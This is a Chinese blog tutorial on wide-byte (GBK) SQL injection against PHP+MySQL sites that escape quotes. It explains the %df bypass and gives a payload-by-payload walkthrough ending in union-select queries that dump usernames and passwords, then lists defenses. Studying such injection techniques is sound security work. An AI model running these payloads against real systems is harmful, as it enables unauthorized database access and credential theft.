宽字节编码注入

Posted by Tattoo on 2019-01-15
Estimated Reading Time 3 Minutes
Words 965 In Total
Viewed Times

宽字节

如果一个字符大小为一个字节,称为窄字节;如果一个字符大小为两个字节,称为宽字节。所有英文字母占一个字节,中文汉字占两个字节

GB2312、GBK、GB18030、BIG5、Shift_JIS等都是常用的宽字节,韩文、日文等都是宽字节,实际占用两字节


为什么是两个字节?

一个字节占八位二进制,共有255种,可以完全满足48个英文字母大小写的数量;而中文汉字的数量要远大于255个,用一个字节不足以表示一个汉字,所以用两个字节

宽字节注入原理

宽字节注入是由编码不统一造成的,这种注入一般出现在PHP+MySQL中。
在PHP配置文件php.ini中存在magic_quotes_gpc选项,被称为魔术引号,当此选项被打开时,一些特殊符号会被转义
比如:
单引号(’) = (\‘)
双引号(”) = (\“)
反斜杠(\) = (\\)

当程序防御了我们的单引号,变成了 \‘,我们就要想办法绕过,就要将 \ 消灭
GBK编码处理编码的过程存在问题,可构造数据消灭 \

‘ → \‘ → %5C%27 → id=1\‘
当我们输入’,经过程序处理变成\‘,再编码成%5C%27,然后带入数据库查询id=1\‘,这种情况就不能注入

在MySQL用GBK编码时,会认为两个字符为一个汉字。
两个字符组合认为是一个汉字,两个字符中的第一个字符的ASCII码要大于128才能到汉字的范围

%df’ → %df\‘ → %df%5C%27 → 運’ → id=運’
当我们输入%df’,经过程序处理变成%df\‘,再编码成%df%5C%27,而%df%5C被当作一个汉字’運’,然后带入数据库查询id=運’,有了单引号剩下的就易解决。

URL编码:
  %df:ASCII码223
  %5C:斜杠\
  %27:单引号’

宽字节注入方法

注入点后键入%df,然后按正常的注入流程开始注入

  • 检测注入点

  id=1’
  页面提示1\‘,很显然单引号被过滤了,不能进行注入

  id=1%df’
  页面报错,页面提示1�\,�\表示一个汉字 ‘運’

  id=1%df’ and 1=1–+
  页面显示正常

  id=1%df’ and 1=2–+
  页面显示不正常

  经过以上步骤确认存在SQL注入,剩下的SQL注入过程与正常的注入流程一样,区别只是在单引号前面添加了%df,其实不一定要用%df,只要是ASCII码大于128的字符都可以!

  • 猜解列数
1
id=1%df' order by 4--+

页面报错Unknown column ‘4’ in ‘order clause’,说明不存在第四列

1
id=1%df' order by 3--+

页面显示正常,确定有三列

  • 查看回显位
1
id=-1%df' union select 1,2,3--+

看到回显位2和3,剩下的步骤与正常注入一样

  • 获取数据库信息
1
id=-1%df' union select 1,user(),database()--+
1
id=-1%df' union select 1,2,group_concat(schema_name) from information_schema.schemata (limit 0,1)--+
  • 获取表信息
1
id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=库名 (limit 0,1)--+
  • 获取字段信息
1
id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=表名 (limit 0,1)--+
  • 获取数据
1
id=-1%df' union select 1,2,concat_ws(0x7e,username,password) from 库名.表名 (limit 0,1)--+

宽字节注入的防御

  1.使用utf-8编码,从根本上杜绝了宽字节
  2.若使用 mysql_real_escape_string 函数,一定要设置mysql_set_charset(‘gbk’,$conn)
  3.可以设置mysql的连接参数 character_set_client=binary,使用二进制的模式连接数据库

总结

  可以看出,宽字节注入与正常注入过程一样,区别在于数据库的编码为GBK等宽字节编码、是否对单引号进行转义。


If you like this blog or find it useful for you, you are welcome to comment on it. You are also welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them. Thank you !